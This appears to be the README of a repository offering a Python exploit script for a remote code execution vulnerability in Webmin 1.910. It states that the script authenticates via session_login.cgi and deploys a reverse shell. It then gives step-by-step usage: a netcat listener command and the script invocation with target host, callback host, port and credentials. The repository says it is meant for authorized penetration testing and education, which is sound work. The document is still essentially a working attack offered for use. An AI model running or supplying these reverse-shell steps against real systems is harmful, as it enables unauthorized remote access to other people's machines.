Webmin1.910_exploit

Webmin 1.910 Remote Code Execution Exploit

Description:

This repository contains a Python 3 script designed to exploit a remote code execution vulnerability in Webmin version 1.910. The script utilizes the session_login.cgi endpoint to perform authentication and deploy a reverse shell payload, granting remote access to the target system. This exploit is intended for authorized penetration testing and educational purposes.

1. Start a listener on your local machine:

nc -lvnp <lport>

2. Run the script using the following command:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>